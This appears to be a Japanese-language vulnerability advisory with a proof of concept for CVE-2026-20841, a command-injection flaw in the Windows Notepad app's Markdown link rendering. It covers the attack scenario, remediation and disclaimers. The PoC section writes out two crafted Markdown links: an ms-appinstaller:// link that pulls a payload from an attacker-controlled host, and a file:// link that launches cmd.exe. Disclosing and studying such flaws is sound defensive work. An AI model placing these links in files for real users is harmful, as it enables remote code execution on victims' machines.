CVE-2026-20841 - Windows メモ帳アプリのリモートコード実行の脆弱性

脆弱性の概要

エグゼクティブサマリー

Windows メモ帳アプリにおけるコマンドで使用される特殊要素の不適切な無効化（'コマンドインジェクション'）により、権限のない攻撃者がネットワーク経由でコードを実行できる可能性があります。

最新の Windows メモ帳アプリ（Microsoft Store 経由で配布）には、クリック可能なハイパーリンクを含む Markdown レンダリング機能が導入されました。この脆弱性は、メモ帳が Markdown リンク内の URI スキームを処理する前に適切に検証およびサニタイズしないために存在します。攻撃者は、特別に細工されたリンクを含む悪意のある .md ファイルを作成し、ユーザーがクリックすると、検証されていないプロトコルハンドラーがリモートコンテンツを読み込んで実行するように誘導できます。

CVSS v3.1 メトリクス

基本メトリクス

現状メトリクス

FAQ

攻撃者はこの脆弱性をどのように悪用する可能性がありますか？

攻撃者は、メモ帳で開かれた Markdown ファイル内の悪意のあるリンクをユーザーにクリックさせ、検証されていないプロトコルを起動してリモートファイルを読み込み・実行させる可能性があります。

リモートコード実行の対象コンテキストは何ですか？

CVSS メトリクスによると、攻撃元区分はネットワーク（AV:N）で、ユーザー操作が必要（UI:R）です。悪意のあるコードは、Markdown ファイルを開いたユーザーのセキュリティコンテキストで実行され、攻撃者はそのユーザーと同じ権限を取得します。

攻撃シナリオ

1. 攻撃者は、悪意のあるハイパーリンクを含む Markdown（.md）ファイルを作成します。
2. 被害者は、脆弱性のあるバージョンの Windows メモ帳でそのファイルを開きます。
3. メモ帳が Markdown をレンダリングし、クリック可能なリンクを表示します。
4. 被害者がリンクをクリックすると、メモ帳は適切な検証なしに URI を処理します。
5. これにより、リモートペイロードを取得・実行できるプロトコルハンドラー（例：ms-appinstaller://）や、ローカルの実行可能ファイルを直接起動できる file:// URI がトリガーされます。
6. 悪意のあるコードは、ログイン中のユーザーと同じ権限で実行されます。

概念実証

免責事項： この概念実証は、教育および許可されたセキュリティ研究の目的のみで提供されています。所有していないシステムや、明示的な書面によるテスト許可がないシステムに対しては使用しないでください。コンピュータシステムへの不正アクセスは違法であり、法律で罰せられます。

この PoC は、細工された Markdown リンクによる 2 つの攻撃ベクトルを示しています：

ベクトル 1 - プロトコルハンドラーの悪用によるリモートペイロードのインストール：

[Click to view document](ms-appinstaller://?source=https://attacker-controlled-domain/malicious.appx)

ベクトル 2 - ファイル URI によるローカル実行可能ファイルの起動：

[Click here](file://C:/windows/system32/cmd.exe)

デモ

修復策

• Windows メモ帳を Microsoft Store 経由でビルド 11.2510 以降に更新してください。
• Windows の設定 > アプリ > Microsoft Store でアプリの自動更新を有効にしてください。
• 信頼できないソースからの .md ファイルをメモ帳で開かないでください。
• 電子メールや信頼できないダウンロードで受信した Markdown ファイル内のリンクをクリックしないでください。

参考情報

• MSRC - CVE-2026-20841
• NVD - CVE-2026-20841
• CVE.org - CVE-2026-20841

法的免責事項

このリポジトリで提供される情報は、教育および許可されたセキュリティ研究の目的のみで提供されています。この概念実証は、防御者が脆弱性を理解し緩和するのに役立つように共有されています。著者は、ここで提供される情報やツールの誤用について一切責任を負いません。システムの脆弱性をテストする前に、必ず適切な書面による許可を取得してください。コンピュータシステムへの不正アクセスは、ほとんどの法域で犯罪行為です。責任を持って倫理的に使用してください。